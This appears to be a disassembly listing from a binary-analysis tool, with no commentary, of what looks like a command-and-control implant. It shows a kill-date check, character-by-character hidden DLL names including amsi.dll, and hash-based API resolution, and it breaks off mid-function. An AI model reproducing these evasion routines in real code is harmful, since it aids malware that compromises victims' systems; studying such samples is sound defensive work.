Similarity

14001ab10
14001ab10ReachedKillDate:
14001ab10push rbx
14001ab11xor eax, eax
14001ab13sub rsp, 32
14001ab17mov rbx, [rip+0x11852]
14001ab1ecmp [rbx+124], 0
14001ab23je 0x14001ab34
14001ab25call GetSystemFileTime
14001ab2acmp rax, [rbx+124]
14001ab2esetae al
14001ab31movzx eax, al
14001ab34
14001ab34loc_14001ab34:
14001ab34add rsp, 32
14001ab38pop rbx
14001ab39ret
14001ab10

14001ab3a
14001ab3a // align 0x10

14001ab40
14001ab40ReadLocalFile:
14001ab40push rbp
14001ab41xor r9l, r9l
14001ab44xor r10l, r10l
14001ab47mov rbp, rdx
14001ab4apush rdi
14001ab4bmov rdi, r8
14001ab4exor r8l, r8l
14001ab51mov edx, 0xffffffff80000000
14001ab56push rsi
14001ab57push rbx
14001ab58sub rsp, 88
14001ab5cmov rsi, [rip+0x1180d]
14001ab63mov [rsp+76], r8l
14001ab68xor r8l, r8l
14001ab6bmov [rsp+48], r9
14001ab70xor r9l, r9l
14001ab73mov [rsp+40], r10l
14001ab78mov [rsp+32], 3
14001ab80call [rsi+812]
14001ab86mov rbx, rax
14001ab89dec rax
14001ab8ccmp rax, -3
14001ab90jbe 0x14001abd4
14001ab92lea rdx, [rip+0x12777]
14001ab99lea rcx, [rip+63437]
14001aba0mov r8l, 897
14001aba6lea r9, [rip+63559]
14001abadcall printf
14001abb2mov rax, [rsi+2230]
14001abb9mov ecx, 1
14001abbemov edx, [rax+104]
14001abc1call PackageTransmitError
14001abc6test rbx, rbx
14001abc9je 0x14001ac5e
14001abcfjmp 0x14001ac56
14001abd4
14001abd4loc_14001abd4:
14001abd4xor edx, edx
14001abd6mov rcx, rbx
14001abd9call [rsi+828]
14001abdfmov ecx, 64
14001abe4mov edx, eax
14001abe6mov [rdi], eax
14001abe8call [rsi+932]
14001abeexor ecx, ecx
14001abf0lea r9, [rsp+76]
14001abf5mov [rbp], rax
14001abf9mov rdx, rax
14001abfcmov [rsp+32], rcx
14001ac01mov rcx, rbx
14001ac04mov r8l, [rdi]
14001ac07call [rsi+916]
14001ac0dtest eax, eax
14001ac0fjne 0x14001ac47
14001ac11lea r9, [rip+63472]
14001ac18mov r8l, 906
14001ac1elea rdx, [rip+0x126eb]
14001ac25lea rcx, [rip+63297]
14001ac2ccall printf
14001ac31mov rax, [rsi+2230]
14001ac38mov ecx, 1
14001ac3dmov edx, [rax+104]
14001ac40call PackageTransmitError
14001ac45jmp 0x14001ac56
14001ac47
14001ac47loc_14001ac47:
14001ac47mov rcx, rbx
14001ac4acall SysNtClose
14001ac4fmov eax, 1
14001ac54jmp 0x14001ac7d
14001ac56
14001ac56loc_14001ac56:
14001ac56mov rcx, rbx
14001ac59call SysNtClose
14001ac5e
14001ac5eloc_14001ac5e:
14001ac5emov rcx, [rbp]
14001ac62test rcx, rcx
14001ac65jne 0x14001ac6b
14001ac67
14001ac67loc_14001ac67:
14001ac67xor eax, eax
14001ac69jmp 0x14001ac7d
14001ac6b
14001ac6bloc_14001ac6b:
14001ac6bcall [rsi+940]
14001ac71xor eax, eax
14001ac73xor edx, edx
14001ac75mov [rbp], rax
14001ac79mov [rdi], edx
14001ac7bjmp 0x14001ac67
14001ac7d
14001ac7dloc_14001ac7d:
14001ac7dadd rsp, 88
14001ac81pop rbx
14001ac82pop rsi
14001ac83pop rdi
14001ac84pop rbp
14001ac85ret
14001ab40

14001ac86
14001ac86 // align 0x10

14001ac90
14001ac90RecvAll:
14001ac90push r12
14001ac92mov r12, r9
14001ac95push rbp
14001ac96mov rbp, rcx
14001ac99push rdi
14001ac9amov edi, r8l
14001ac9dpush rsi
14001ac9emov rsi, rdx
14001aca1push rbx
14001aca2xor ebx, ebx
14001aca4sub rsp, 32
14001aca8
14001aca8loc_14001aca8:
14001aca8cmp ebx, edi
14001acaajae 0x14001acfa
14001acacmov rax, [rip+0x116bd]
14001acb3mov r8l, edi
14001acb6xor r9l, r9l
14001acb9mov rdx, rsi
14001acbcsub r8l, ebx
14001acbfmov rcx, rbp
14001acc2call [rax+1916]
14001acc8cmp eax, -1
14001accbjne 0x14001acf1
14001accdlea r9, [rip+57452]
14001acd4mov r8l, 19
14001acdalea rdx, [rip+0x1266f]
14001ace1lea rcx, [rip+57444]
14001ace8call printf
14001acedxor eax, eax
14001acefjmp 0x14001acff
14001acf1
14001acf1loc_14001acf1:
14001acf1mov edx, eax
14001acf3add ebx, eax
14001acf5add rsi, rdx
14001acf8jmp 0x14001aca8
14001acfa
14001acfaloc_14001acfa:
14001acfamov eax, 1
14001acff
14001acffloc_14001acff:
14001acffmov [r12], ebx
14001ad03add rsp, 32
14001ad07pop rbx
14001ad08pop rsi
14001ad09pop rdi
14001ad0apop rbp
14001ad0bpop r12
14001ad0dret
14001ac90

14001ad0e
14001ad0e // align 0x10

14001ad10
14001ad10RemoveCoffeeFromInstance:
14001ad10test rcx, rcx
14001ad13je 0x14001ad77
14001ad15mov r8, [rip+0x11654]
14001ad1cmov r10l, [rcx+56]
14001ad20mov rdx, [r8+2334]
14001ad27mov rax, [rdx+84]
14001ad2bcmp [rdx+56], r10l
14001ad2fjne 0x14001ad3f
14001ad31mov [r8+2334], rax
14001ad38ret
14001ad39
14001ad39loc_14001ad39:
14001ad39mov rdx, rax
14001ad3cmov rax, r8
14001ad3f
14001ad3floc_14001ad3f:
14001ad3ftest rax, rax
14001ad42je 0x14001ad57
14001ad44mov r8, [rax+84]
14001ad48mov r11l, [rcx+56]
14001ad4ccmp [rax+56], r11l
14001ad50jne 0x14001ad39
14001ad52mov [rdx+84], r8
14001ad56ret
14001ad57
14001ad57loc_14001ad57:
14001ad57lea r9, [rip+0x1073f]
14001ad5emov r8l, 641
14001ad64lea rdx, [rip+0x12035]
14001ad6blea rcx, [rip+0x10543]
14001ad72jmp 0x140023140
14001ad77
14001ad77loc_14001ad77:
14001ad77ret
14001ad10

14001ad78
14001ad78 // align 0x10

14001ad80
14001ad80RemoveMemFile:
14001ad80push rsi
14001ad81mov r9l, ecx
14001ad84push rbx
14001ad85sub rsp, 56
14001ad89mov rsi, [rip+0x115e0]
14001ad90mov rcx, [rsi+2318]
14001ad97test rcx, rcx
14001ad9aje 0x14001ae06
14001ad9ccmp [rcx+40], 0
14001ada1mov rax, rcx
14001ada4jne 0x14001ade5
14001ada6xor ebx, ebx
14001ada8cmp [rcx], r9l
14001adabjne 0x14001adca
14001adadmov [rsp+80], r9l
14001adb2mov ebx, 1
14001adb7call MemFileFree
14001adbcxor eax, eax
14001adbemov r9l, [rsp+80]
14001adc3mov [rsi+2318], rax
14001adca
14001adcaloc_14001adca:
14001adcamov [rsp+32], ebx
14001adcemov r8l, 370
14001add4jmp 0x14001ae12
14001add6
14001add6loc_14001add6:
14001add6mov rdx, [rcx+40]
14001addacmp [rcx], r9l
14001adddje 0x14001adec
14001addfmov rax, rcx
14001ade2mov rcx, rdx
14001ade5
14001ade5loc_14001ade5:
14001ade5test rcx, rcx
14001ade8jne 0x14001add6
14001adeajmp 0x14001ae06
14001adec
14001adecloc_14001adec:
14001adecmov [rax+40], rdx
14001adf0mov ebx, 1
14001adf5mov [rsp+80], r9l
14001adfacall MemFileFree
14001adffmov r9l, [rsp+80]
14001ae04jmp 0x14001ae08
14001ae06
14001ae06loc_14001ae06:
14001ae06xor ebx, ebx
14001ae08
14001ae08loc_14001ae08:
14001ae08mov [rsp+32], ebx
14001ae0cmov r8l, 399
14001ae12
14001ae12loc_14001ae12:
14001ae12lea rdx, [rip+0x117a7]
14001ae19lea rcx, [rip+53488]
14001ae20call printf
14001ae25add rsp, 56
14001ae29mov eax, ebx
14001ae2bpop rbx
14001ae2cpop rsi
14001ae2dret
14001ad80

14001ae2e
14001ae2e // align 0x10

14001ae30
14001ae30RtAdvapi32:
14001ae30push rbp
14001ae31xor eax, eax
14001ae33mov ecx, 65
14001ae38lea rbp, [rip+0x11c41]
14001ae3fpush rdi
14001ae40push rsi
14001ae41lea rsi, [rip+55880]
14001ae48push rbx
14001ae49sub rsp, 56
14001ae4dmov [rsp+35], rax
14001ae52lea rdi, [rsp+35]
14001ae57mov [rsp+40], rax
14001ae5ccall HideChar
14001ae61mov ecx, 86
14001ae66mov [rsp+35], al
14001ae6acall HideChar
14001ae6fmov ecx, 76
14001ae74mov [rsp+37], al
14001ae78call HideChar
14001ae7dmov ecx, 76
14001ae82mov [rsp+46], al
14001ae86call HideChar
14001ae8bmov ecx, 65
14001ae90mov [rsp+45], al
14001ae94call HideChar
14001ae99mov ecx, 46
14001ae9emov [rsp+38], al
14001aea2call HideChar
14001aea7xor ecx, ecx
14001aea9mov [rsp+43], al
14001aeadcall HideChar
14001aeb2mov ecx, 51
14001aeb7mov [rsp+47], al
14001aebbcall HideChar
14001aec0mov ecx, 50
14001aec5mov [rsp+41], al
14001aec9call HideChar
14001aecemov ecx, 68
14001aed3mov [rsp+42], al
14001aed7call HideChar
14001aedcmov ecx, 68
14001aee1mov [rsp+36], al
14001aee5call HideChar
14001aeeamov ecx, 73
14001aeefmov [rsp+44], al
14001aef3call HideChar
14001aef8mov ecx, 80
14001aefdmov [rsp+40], al
14001af01call HideChar
14001af06mov rcx, rdi
14001af09mov [rsp+39], al
14001af0dcall LdrModuleLoad
14001af12mov rbx, [rip+0x11457]
14001af19mov ecx, 13
14001af1etest rax, rax
14001af21mov [rbx+2126], rax
14001af28mov al, 0
14001af2aje 0x14001b209
14001af30rep stosb [rdi], al
14001af32mov rcx, [rbx+2126]
14001af39mov edx, 0x10357d2c
14001af3ecall LdrFunctionAddr
14001af43mov rcx, [rbx+2126]
14001af4amov edx, 0xfffffffff3e5480c
14001af4fmov [rbx+1340], rax
14001af56call LdrFunctionAddr
14001af5bmov rcx, [rbx+2126]
14001af62mov edx, 0xffffffffe139fc0a
14001af67mov [rbx+1356], rax
14001af6ecall LdrFunctionAddr
14001af73mov rcx, [rbx+2126]
14001af7amov edx, 0x7292758a
14001af7fmov [rbx+1364], rax
14001af86call LdrFunctionAddr
14001af8bmov rcx, [rbx+2126]
14001af92mov edx, 0xfffffffffca17e46
14001af97mov [rbx+1532], rax
14001af9ecall LdrFunctionAddr
14001afa3mov rcx, [rbx+2126]
14001afaamov edx, 0x5ed5d61a
14001afafmov [rbx+1348], rax
14001afb6call LdrFunctionAddr
14001afbbmov rcx, [rbx+2126]
14001afc2mov edx, 0x1e344064
14001afc7mov [rbx+1564], rax
14001afcecall LdrFunctionAddr
14001afd3mov rcx, [rbx+2126]
14001afdamov edx, 0xffffffffd51fdf8d
14001afdfmov [rbx+1596], rax
14001afe6call LdrFunctionAddr
14001afebmov rcx, [rbx+2126]
14001aff2mov edx, 0xffffffffd51fdfa3
14001aff7mov [rbx+1540], rax
14001affecall LdrFunctionAddr
14001b003mov rcx, [rbx+2126]
14001b00amov edx, 0xffffffffe249d070
14001b00fmov [rbx+1548], rax
14001b016call LdrFunctionAddr
14001b01bmov rcx, [rbx+2126]
14001b022mov edx, 0xffffffffd9f566f7
14001b027mov [rbx+1588], rax
14001b02ecall LdrFunctionAddr
14001b033mov rcx, [rbx+2126]
14001b03amov edx, 0x677fbb8b
14001b03fmov [rbx+1580], rax
14001b046call LdrFunctionAddr
14001b04bmov rcx, [rbx+2126]
14001b052mov edx, 0xffffffff843a85e8
14001b057mov [rbx+1572], rax
14001b05ecall LdrFunctionAddr
14001b063mov rcx, [rbx+2126]
14001b06amov edx, 0xffffffffe58c8805
14001b06fmov [rbx+1556], rax
14001b076call LdrFunctionAddr
14001b07bmov rcx, [rbx+2126]
14001b082mov edx, 0xffffffffd47b1967
14001b087mov [rbx+1372], rax
14001b08ecall LdrFunctionAddr
14001b093mov rcx, [rbx+2126]
14001b09amov edx, 0x5c0cc90b
14001b09fmov [rbx+1380], rax
14001b0a6call LdrFunctionAddr
14001b0abmov rcx, [rbx+2126]
14001b0b2mov edx, 0x5c048f5c
14001b0b7mov [rbx+1388], rax
14001b0becall LdrFunctionAddr
14001b0c3mov rcx, [rbx+2126]
14001b0camov edx, 0x31e175ce
14001b0cfmov [rbx+1396], rax
14001b0d6call LdrFunctionAddr
14001b0dbmov rcx, [rbx+2126]
14001b0e2mov edx, 0xffffffff9fb18806
14001b0e7mov [rbx+1404], rax
14001b0eecall LdrFunctionAddr
14001b0f3mov rcx, [rbx+2126]
14001b0famov edx, 0x136c4367
14001b0ffmov [rbx+1412], rax
14001b106call LdrFunctionAddr
14001b10bmov rcx, [rbx+2126]
14001b112mov edx, 0xffffffffa9174a4f
14001b117mov [rbx+1420], rax
14001b11ecall LdrFunctionAddr
14001b123mov rcx, [rbx+2126]
14001b12amov edx, 0x1cf324d0
14001b12fmov [rbx+1428], rax
14001b136call LdrFunctionAddr
14001b13bmov rcx, [rbx+2126]
14001b142mov edx, 0xd396389
14001b147mov [rbx+1436], rax
14001b14ecall LdrFunctionAddr
14001b153mov rcx, [rbx+2126]
14001b15amov edx, 0xffffffffc9f4966a
14001b15fmov [rbx+1444], rax
14001b166call LdrFunctionAddr
14001b16bmov rcx, [rbx+2126]
14001b172mov edx, 0xffffffff9d5beb66
14001b177mov [rbx+1604], rax
14001b17ecall LdrFunctionAddr
14001b183mov rcx, [rbx+2126]
14001b18amov edx, 0x4fa8b17d
14001b18fmov [rbx+1452], rax
14001b196call LdrFunctionAddr
14001b19bmov rcx, [rbx+2126]
14001b1a2mov edx, 0x2fb2f7d7
14001b1a7mov [rbx+1460], rax
14001b1aecall LdrFunctionAddr
14001b1b3mov rcx, [rbx+2126]
14001b1bamov edx, 0xffffffffd4c0dda1
14001b1bfmov [rbx+1468], rax
14001b1c6call LdrFunctionAddr
14001b1cbmov rcx, [rbx+2126]
14001b1d2mov edx, 0xe5d12f8
14001b1d7mov [rbx+1476], rax
14001b1decall LdrFunctionAddr
14001b1e3lea r9, [rip+54970]
14001b1eamov rdx, rbp
14001b1edmov rcx, rsi
14001b1f0mov r8l, 57
14001b1f6mov [rbx+1484], rax
14001b1fdcall printf.constprop.0
14001b202mov eax, 1
14001b207jmp 0x14001b225
14001b209
14001b209loc_14001b209:
14001b209rep stosb [rdi], al
14001b20blea r9, [rip+54956]
14001b212mov r8l, 60
14001b218mov rdx, rbp
14001b21bmov rcx, rsi
14001b21ecall printf.constprop.0
14001b223xor eax, eax
14001b225
14001b225loc_14001b225:
14001b225add rsp, 56
14001b229pop rbx
14001b22apop rsi
14001b22bpop rdi
14001b22cpop rbp
14001b22dret
14001ae30

14001b22e
14001b22e // align 0x10

14001b230
14001b230RtAmsi:
14001b230push rbp
14001b231xor eax, eax
14001b233mov ecx, 73
14001b238lea rbp, [rip+0x11621]
14001b23fpush rdi
14001b240push rsi
14001b241lea rsi, [rip+54856]
14001b248push rbx
14001b249sub rsp, 56
14001b24dmov [rsp+39], rax
14001b252lea rdi, [rsp+39]
14001b257mov [rsp+47], 0
14001b25ccall HideChar
14001b261mov ecx, 68
14001b266mov [rsp+42], al
14001b26acall HideChar
14001b26fmov ecx, 76
14001b274mov [rsp+44], al
14001b278call HideChar
14001b27dxor ecx, ecx
14001b27fmov [rsp+46], al
14001b283call HideChar
14001b288mov ecx, 76
14001b28dmov [rsp+47], al
14001b291call HideChar
14001b296mov ecx, 46
14001b29bmov [rsp+45], al
14001b29fcall HideChar
14001b2a4mov ecx, 65
14001b2a9mov [rsp+43], al
14001b2adcall HideChar
14001b2b2mov ecx, 77
14001b2b7mov [rsp+39], al
14001b2bbcall HideChar
14001b2c0mov ecx, 83
14001b2c5mov [rsp+40], al
14001b2c9call HideChar
14001b2cemov rcx, rdi
14001b2d1mov [rsp+41], al
14001b2d5call LdrModuleLoad
14001b2damov rbx, [rip+0x1108f]
14001b2e1mov ecx, 9
14001b2e6test rax, rax
14001b2e9mov [rbx+2214], rax
14001b2f0mov al, 0
14001b2f2je 0x14001b32d
14001b2f4rep stosb [rdi], al
14001b2f6mov rcx, [rbx+2214]
14001b2fdmov edx, 0xffffffffbab3d02e
14001b302call LdrFunctionAddr
14001b307lea r9, [rip+55204]
14001b30emov rdx, rbp
14001b311mov rcx, rsi
14001b314mov r8l, 448
14001b31amov [rbx+2020], rax
14001b321call printf.constprop.0
14001b326mov eax, 1
14001b32bjmp 0x14001b349
14001b32d
14001b32dloc_14001b32d:
14001b32drep stosb [rdi], al
14001b32flea r9, [rip+55186]
14001b336mov r8l, 451
14001b33cmov rdx, rbp
14001b33fmov rcx, rsi
14001b342call printf.constprop.0
14001b347xor eax, eax
14001b349
14001b349loc_14001b349:
14001b349add rsp, 56
14001b34dpop rbx
14001b34epop rsi
14001b34fpop rdi
14001b350pop rbp
14001b351ret
14001b230

14001b352
14001b352 // align 0x10

14001b360
14001b360RtGdi32:
14001b360push rbp
14001b361xor eax, eax
14001b363mov ecx, 50
14001b368lea rbp, [rip+0x11eb1]
14001b36fpush rdi
14001b370push rsi
14001b371lea rsi, [rip+54552]
14001b378push rbx
14001b379sub rsp, 56
14001b37dmov [rsp+38], rax
14001b382lea rdi, [rsp+38]
14001b387mov [rsp+46], 0
14001b38ecall HideChar
14001b393mov ecx, 68
14001b398mov [rsp+42], al
14001b39ccall HideChar
14001b3a1mov ecx, 46
14001b3a6mov [rsp+44], al
14001b3aacall HideChar
14001b3afmov ecx, 76
14001b3b4mov [rsp+43], al
14001b3b8call HideChar
14001b3bdmov ecx, 73
14001b3c2mov [rsp+46], al
14001b3c6call HideChar
14001b3cbmov ecx, 68
14001b3d0mov [rsp+40], al
14001b3d4call HideChar
14001b3d9mov ecx, 76
14001b3demov [rsp+39], al
14001b3e2call HideChar
14001b3e7xor ecx, ecx
14001b3e9mov [rsp+45], al
14001b3edcall HideChar
14001b3f2mov ecx, 71
14001b3f7mov [rsp+47], al
14001b3fbcall HideChar
14001b400mov ecx, 51
14001b405mov [rsp+38], al
14001b409call HideChar
14001b40emov rcx, rdi
14001b411mov [rsp+41], al
14001b415call LdrModuleLoad
14001b41amov rbx, [rip+0x10f4f]
14001b421mov ecx, 10
14001b426test rax, rax
14001b429mov [rbx+2182], rax
14001b430mov al, 0
14001b432je 0x14001b519
14001b438rep stosb [rdi], al
14001b43amov rcx, [rbx+2182]
14001b441mov edx, 0xfffffffffe6f663f
14001b446call LdrFunctionAddr
14001b44bmov rcx, [rbx+2182]
14001b452mov edx, 0xffffffffa04fbb33
14001b457mov [rbx+1716], rax
14001b45ecall LdrFunctionAddr
14001b463mov rcx, [rbx+2182]
14001b46amov edx, 0xffffffffd0b24920
14001b46fmov [rbx+1724], rax
14001b476call LdrFunctionAddr
14001b47bmov rcx, [rbx+2182]
14001b482mov edx, 0x2c2309dd
14001b487mov [rbx+1732], rax
14001b48ecall LdrFunctionAddr
14001b493mov rcx, [rbx+2182]
14001b49amov edx, 0xffffffff96a6b43c
14001b49fmov [rbx+1740], rax
14001b4a6call LdrFunctionAddr
14001b4abmov rcx, [rbx+2182]
14001b4b2mov edx, 0xffffffffa72badc6
14001b4b7mov [rbx+1748], rax
14001b4becall LdrFunctionAddr
14001b4c3mov rcx, [rbx+2182]
14001b4camov edx, 0xffffffffe619cf2f
14001b4cfmov [rbx+1756], rax
14001b4d6call LdrFunctionAddr
14001b4dbmov rcx, [rbx+2182]
14001b4e2mov edx, 0xffffffffb2fa1ebf
14001b4e7mov [rbx+1764], rax
14001b4eecall LdrFunctionAddr
14001b4f3lea r9, [rip+54524]
14001b4famov rdx, rbp
14001b4fdmov rcx, rsi
14001b500mov r8l, 296
14001b506mov [rbx+1772], rax
14001b50dcall printf.constprop.0
14001b512mov eax, 1
14001b517jmp 0x14001b535
14001b519
14001b519loc_14001b519:
14001b519rep stosb [rdi], al
14001b51blea r9, [rip+54507]
14001b522mov r8l, 299
14001b528mov rdx, rbp
14001b52bmov rcx, rsi
14001b52ecall printf.constprop.0
14001b533xor eax, eax
14001b535
14001b535loc_14001b535:
14001b535add rsp, 56
14001b539pop rbx
14001b53apop rsi
14001b53bpop rdi
14001b53cpop rbp
14001b53dret
14001b360

14001b53e
14001b53e // align 0x10

14001b540
14001b540RtIphlpapi:
14001b540push rbp
14001b541xor eax, eax
14001b543mov ecx, 46
14001b548lea rbp, [rip+0x11d71]
14001b54fpush rdi
14001b550push rsi
14001b551lea rsi, [rip+54072]
14001b558push rbx
14001b559sub rsp, 56
14001b55dmov [rsp+35], rax
14001b562lea rdi, [rsp+35]
14001b567mov [rsp+40], rax
14001b56ccall HideChar
14001b571mov ecx, 73
14001b576mov [rsp+43], al
14001b57acall HideChar
14001b57fmov ecx, 76
14001b584mov [rsp+35], al
14001b588call HideChar
14001b58dmov ecx, 72
14001b592mov [rsp+45], al
14001b596call HideChar
14001b59bmov ecx, 68
14001b5a0mov [rsp+37], al
14001b5a4call HideChar
14001b5a9mov ecx, 80
14001b5aemov [rsp+44], al
14001b5b2call HideChar
14001b5b7mov ecx, 76
14001b5bcmov [rsp+41], al
14001b5c0call HideChar
14001b5c5mov ecx, 80
14001b5camov [rsp+46], al
14001b5cecall HideChar
14001b5d3mov ecx, 76
14001b5d8mov [rsp+36], al
14001b5dccall HideChar
14001b5e1xor ecx, ecx
14001b5e3mov [rsp+38], al
14001b5e7call HideChar
14001b5ecmov ecx, 65
14001b5f1mov [rsp+47], al
14001b5f5call HideChar
14001b5famov ecx, 80
14001b5ffmov [rsp+40], al
14001b603call HideChar
14001b608mov ecx, 73
14001b60dmov [rsp+39], al
14001b611call HideChar
14001b616mov rcx, rdi
14001b619mov [rsp+42], al
14001b61dcall LdrModuleLoad
14001b622mov rbx, [rip+0x10d47]
14001b629mov ecx, 13
14001b62etest rax, rax
14001b631mov [rbx+2174], rax
14001b638mov al, 0
14001b63aje 0x14001b675
14001b63crep stosb [rdi], al
14001b63emov rcx, [rbx+2174]
14001b645mov edx, 0x37cada45
14001b64acall LdrFunctionAddr
14001b64flea r9, [rip+54126]
14001b656mov rdx, rbp
14001b659mov rcx, rsi
14001b65cmov r8l, 259
14001b662mov [rbx+1684], rax
14001b669call printf.constprop.0
14001b66emov eax, 1
14001b673jmp 0x14001b691
14001b675
14001b675loc_14001b675:
14001b675rep stosb [rdi], al
14001b677lea r9, [rip+54112]
14001b67emov r8l, 262
14001b684mov rdx, rbp
14001b687mov rcx, rsi
14001b68acall printf.constprop.0
14001b68fxor eax, eax
14001b691
14001b691loc_14001b691:
14001b691add rsp, 56
14001b695pop rbx
14001b696pop rsi
14001b697pop rdi
14001b698pop rbp
14001b699ret
14001b540

14001b69a
14001b69a // align 0x10

14001b6a0
14001b6a0RtMscoree:
14001b6a0push rbp
14001b6a1xor edx, edx
14001b6a3xor eax, eax
14001b6a5mov ecx, 83
14001b6aapush rdi
14001b6ablea rbp, [rip+0x1136e]
14001b6b2push rsi
14001b6b3lea rsi, [rip+53718]
14001b6bapush rbx
14001b6bbsub rsp, 56
14001b6bfmov [rsp+44], edx
14001b6c3lea rdi, [rsp+36]
14001b6c8mov [rsp+36], rax
14001b6cdcall HideChar
14001b6d2mov ecx, 67
14001b6d7mov [rsp+37], al
14001b6dbcall HideChar
14001b6e0xor ecx, ecx
14001b6e2mov [rsp+38], al
14001b6e6call HideChar
14001b6ebmov ecx, 77
14001b6f0mov [rsp+47], al
14001b6f4call HideChar
14001b6f9mov ecx, 76
14001b6femov [rsp+36], al
14001b702call HideChar
14001b707mov ecx, 68
14001b70cmov [rsp+46], al
14001b710call HideChar
14001b715mov ecx, 46
14001b71amov [rsp+44], al
14001b71ecall HideChar
14001b723mov ecx, 76
14001b728mov [rsp+43], al
14001b72ccall HideChar
14001b731mov ecx, 69
14001b736mov [rsp+45], al
14001b73acall HideChar
14001b73fmov ecx, 82
14001b744mov [rsp+41], al
14001b748call HideChar
14001b74dmov ecx, 69
14001b752mov [rsp+40], al
14001b756call HideChar
14001b75bmov ecx, 79
14001b760mov [rsp+42], al
14001b764call HideChar
14001b769mov rcx, rdi
14001b76cmov [rsp+39], al
14001b770call LdrModuleLoad
14001b775mov rbx, [rip+0x10bf4]
14001b77cmov ecx, 12
14001b781test rax, rax
14001b784mov [rbx+2134], rax
14001b78bmov al, 0
14001b78dje 0x14001b7c8
14001b78frep stosb [rdi], al
14001b791mov rcx, [rbx+2134]
14001b798mov edx, 0x2303b88f
14001b79dcall LdrFunctionAddr
14001b7a2lea r9, [rip+53549]
14001b7a9mov rdx, rbp
14001b7acmov rcx, rsi
14001b7afmov r8l, 89
14001b7b5mov [rbx+1276], rax
14001b7bccall printf.constprop.0
14001b7c1mov eax, 1
14001b7c6jmp 0x14001b7e4
14001b7c8
14001b7c8loc_14001b7c8:
14001b7c8rep stosb [rdi], al
14001b7calea r9, [rip+53534]
14001b7d1mov r8l, 92
14001b7d7mov rdx, rbp
14001b7damov rcx, rsi
14001b7ddcall printf.constprop.0
14001b7e2xor eax, eax
14001b7e4
14001b7e4loc_14001b7e4:
14001b7e4add rsp, 56
14001b7e8pop rbx
14001b7e9pop rsi
14001b7eapop rdi
14001b7ebpop rbp
14001b7ecret
14001b6a0

14001b7ed
14001b7ed // align 0x10

14001b7f0
14001b7f0RtMsvcrt:
14001b7f0push rbp
14001b7f1xor edx, edx
14001b7f3xor eax, eax
14001b7f5mov ecx, 77
14001b7fapush rdi
14001b7fblea rbp, [rip+0x11b3e]
14001b802push rsi
14001b803lea rsi, [rip+53382]
14001b80apush rbx
14001b80bsub rsp, 56
14001b80fmov [rsp+37], rax
14001b814lea rdi, [rsp+37]
14001b819mov [rsp+44], edx
14001b81dcall HideChar
14001b822mov ecx, 46
14001b827mov [rsp+37], al
14001b82bcall HideChar
14001b830xor ecx, ecx
14001b832mov [rsp+43], al
14001b836call HideChar
14001b83bmov ecx, 76
14001b840mov [rsp+47], al
14001b844call HideChar
14001b849mov ecx, 82
14001b84emov [rsp+46], al
14001b852call HideChar
14001b857mov ecx, 86
14001b85cmov [rsp+41], al
14001b860call HideChar
14001b865mov ecx, 76
14001b86amov [rsp+39], al
14001b86ecall HideChar
14001b873mov ecx, 68
14001b878mov [rsp+45], al
14001b87ccall HideChar
14001b881mov ecx, 67
14001b886mov [rsp+44], al
14001b88acall HideChar
14001b88fmov ecx, 84
14001b894mov [rsp+40], al
14001b898call HideChar
14001b89dmov ecx, 83
14001b8a2mov [rsp+42], al
14001b8a6call HideChar
14001b8abmov rcx, rdi
14001b8aemov [rsp+38], al
14001b8b2call LdrModuleLoad
14001b8b7mov rbx, [rip+0x10ab2]
14001b8bemov ecx, 11
14001b8c3test rax, rax
14001b8c6mov [rbx+2166], rax
14001b8cdmov al, 0
14001b8cfje 0x14001b922
14001b8d1rep stosb [rdi], al
14001b8d3mov rcx, [rbx+2166]
14001b8damov edx, 0xffffffffe212f2ef
14001b8dfcall LdrFunctionAddr
14001b8e4mov rcx, [rbx+2166]
14001b8ebmov edx, 0x481aa3d4
14001b8f0mov [rbx+1612], rax
14001b8f7call LdrFunctionAddr
14001b8fclea r9, [rip+53395]
14001b903mov rdx, rbp
14001b906mov rcx, rsi
14001b909mov r8l, 226
14001b90fmov [rbx+1620], rax
14001b916call printf.constprop.0
14001b91bmov eax, 1
14001b920jmp 0x14001b93e
14001b922
14001b922loc_14001b922:
14001b922rep stosb [rdi], al
14001b924lea r9, [rip+53379]
14001b92bmov r8l, 229
14001b931mov rdx, rbp
14001b934mov rcx, rsi
14001b937call printf.constprop.0
14001b93cxor eax, eax
14001b93e
14001b93eloc_14001b93e:
14001b93eadd rsp, 56
14001b942pop rbx
14001b943pop rsi
14001b944pop rdi
14001b945pop rbp
14001b946ret
14001b7f0

14001b947
14001b947 // align 0x10

14001b950
14001b950RtNetApi32:
14001b950push rbp
14001b951xor eax, eax
14001b953mov ecx, 78
14001b958lea rbp, [rip+0x117f1]
14001b95fpush rdi
14001b960push rsi
14001b961lea rsi, [rip+53032]
14001b968push rbx
14001b969sub rsp, 56
14001b96dmov [rsp+35], rax
14001b972lea rdi, [rsp+35]
14001b977mov [rsp+40], rax
14001b97ccall HideChar
14001b981mov ecx, 76
14001b986mov [rsp+35], al
14001b98acall HideChar
14001b98fmov ecx, 46
14001b994mov [rsp+46], al
14001b998call HideChar
14001b99dmov ecx, 68
14001b9a2mov [rsp+43], al
14001b9a6call HideChar
14001b9abmov ecx, 51
14001b9b0mov [rsp+44], al
14001b9b4call HideChar
14001b9b9mov ecx, 84
14001b9bemov [rsp+41], al
14001b9c2call HideChar
14001b9c7mov ecx, 65
14001b9ccmov [rsp+37], al
14001b9d0call HideChar
14001b9d5mov ecx, 76
14001b9damov [rsp+38], al
14001b9decall HideChar
14001b9e3xor ecx, ecx
14001b9e5mov [rsp+45], al
14001b9e9call HideChar
14001b9eemov ecx, 80
14001b9f3mov [rsp+47], al
14001b9f7call HideChar
14001b9fcmov ecx, 73
14001ba01mov [rsp+39], al
14001ba05call HideChar
14001ba0amov ecx, 69
14001ba0fmov [rsp+40], al
14001ba13call HideChar
14001ba18mov ecx, 50
14001ba1dmov [rsp+36], al
14001ba21call HideChar
14001ba26mov rcx, rdi
14001ba29mov [rsp+42], al
14001ba2dcall LdrModuleLoad
14001ba32mov rbx, [rip+0x10937]
14001ba39mov ecx, 13
14001ba3etest rax, rax
14001ba41mov [rbx+2190], rax
14001ba48mov al, 0
14001ba4aje 0x14001bb19
14001ba50rep stosb [rdi], al
14001ba52mov rcx, [rbx+2190]
14001ba59mov edx, 0xffffffff910ca519
14001ba5ecall LdrFunctionAddr
14001ba63mov rcx, [rbx+2190]
14001ba6amov edx, 0x11254b4e
14001ba6fmov [rbx+1804], rax
14001ba76call LdrFunctionAddr
14001ba7bmov rcx, [rbx+2190]
14001ba82mov edx, 0xffffffffeb3b8f20
14001ba87mov [rbx+1812], rax
14001ba8ecall LdrFunctionAddr
14001ba93mov rcx, [rbx+2190]
14001ba9amov edx, 0x6bec8d0a
